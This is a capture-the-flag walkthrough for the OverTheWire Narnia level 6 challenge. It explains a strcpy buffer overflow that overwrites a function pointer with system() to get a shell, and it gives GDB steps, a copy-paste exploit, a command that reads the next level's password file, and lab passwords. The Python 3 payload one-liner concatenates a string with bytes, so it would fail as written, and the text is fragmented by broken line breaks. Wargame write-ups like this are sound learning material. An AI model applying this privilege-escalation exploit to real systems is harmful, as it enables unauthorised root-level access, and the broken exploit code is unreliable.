OverTheWire Narnia Level 6 → 7 tutorial!!
Login
Log in with the password from Level 5 → 6 (my run gave neezoCaeng
):
ssh narnia6@narnia.labs.overthewire.org -p 2226
# password: neezoCaeng
Task
Binary to exploit: /narnia/narnia6
The program accepts two arguments. Internally, it stores them in small buffers (b1
, b2
) and then calls a function pointer fp
, which is initially set to point to puts()
.
By overflowing one of the arguments, we can overwrite the function pointer and redirect execution.
Source Code
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
extern char **environ;
unsigned long get_sp(void) {
__asm__("movl %esp,%eax\n\t"
"and $0xff000000, %eax");
}
int main(int argc, char *argv[]){
char b1[8], b2[8];
int (*fp)(char *);
int i;
fp = puts;
i = 1;
if(argc!=3){
printf("%s b1 b2\n", argv[0]);
exit(-1);
}
/* clear environment */
for(i=0; environ[i] != NULL; i++)
memset(environ[i], '\0', strlen(environ[i]));
/* clear arguments */
for(i=3; argv[i] != NULL; i++)
memset(argv[i], '\0', strlen(argv[i]));
strcpy(b1,argv[1]);
strcpy(b2,argv[2]);
if(((unsigned long)fp & 0xff000000) == get_sp())
exit(-1);
setreuid(geteuid(),geteuid());
fp(b1);
exit(1);
}
A little bit of Theory
fp
is initialized as pointer toputs
.- The second argument (
argv[2]
) is copied intob2
usingstrcpy
without bounds checks. Sinceb2
is only 8 bytes, long input will overflow into adjacent memory — includingfp
. - If we overwrite
fp
with the address ofsystem()
, then the callfp(b1)
becomessystem(b1)
. - If
b1
contains the string"sh"
, we get a shell with narnia7 privileges.
Key notes:
- The program erases environment and extra args, so we cannot rely on env-passed shellcode.
- This is a classic function pointer overwrite attack.
Step-by-step Solution
1) Inspect the binary in GDB
gdb /narnia/narnia6
Disassemble main
and set a breakpoint just before the call fp(b1)
:
(gdb) disas main
(gdb) break *main+319
Run with dummy args:
(gdb) run AAAA BBBB
Dump the stack around $esp
:
(gdb) x/16wx $esp
You’ll see both arguments (
AAAA
,BBBB
) and the pointer toputs
stored in memory.
2) Find system()
address
(gdb) p system
$1 = {<text variable, no debug info>} 0xf7e4c850 <system>
Record this value — it will replace fp
.
3) Craft payloads
argv[1]
="sh;" + padding
(this will be executed bysystem
)argv[2]
= overflow string to overwritefp
withsystem()
address.
Example run:
./narnia6 $(python3 -c 'print("sh;" + "A"*5)') $(python3 -c 'import struct;print("B"*4 + struct.pack("<I", 0xf7e4c850))')
Replace
0xf7e4c850
with the actualsystem
address from your GDB session.
4) Verify exploit
whoami
# narnia7
cat /etc/narnia_pass/narnia7
My run gave:
ahkiaziphu
Password
This is the password from my run. Yours may differ depending on server snapshot:
ahkiaziphu
Troubleshooting
- Segmentation fault before shell → Wrong overwrite alignment. Try adjusting padding in
argv[1]
andargv[2]
. - No shell, just prints “sh” →
fp
wasn’t overwritten. Recheck the offset and confirm your system() address. - Illegal instruction → You may have corrupted the stack with bad bytes. Ensure your overwrite is exact and only touches
fp
.
Copy-paste Quick Exploit
system_addr=0xf7e4c850 # replace with the address from your GDB
/narnia/narnia6 $(python3 -c 'print("sh;" + "A"*5)') $(python3 -c "import struct;print('B'*4 + struct.pack('<I', $system_addr))")
whoami
cat /etc/narnia_pass/narnia7
Congrats 🎉 You exploited a function pointer overwrite to redirect execution from puts
to system("sh")
. On to Level 7 → 8!
Thanks for reading!
Until next time — Otsumachi!! 💖☄️✨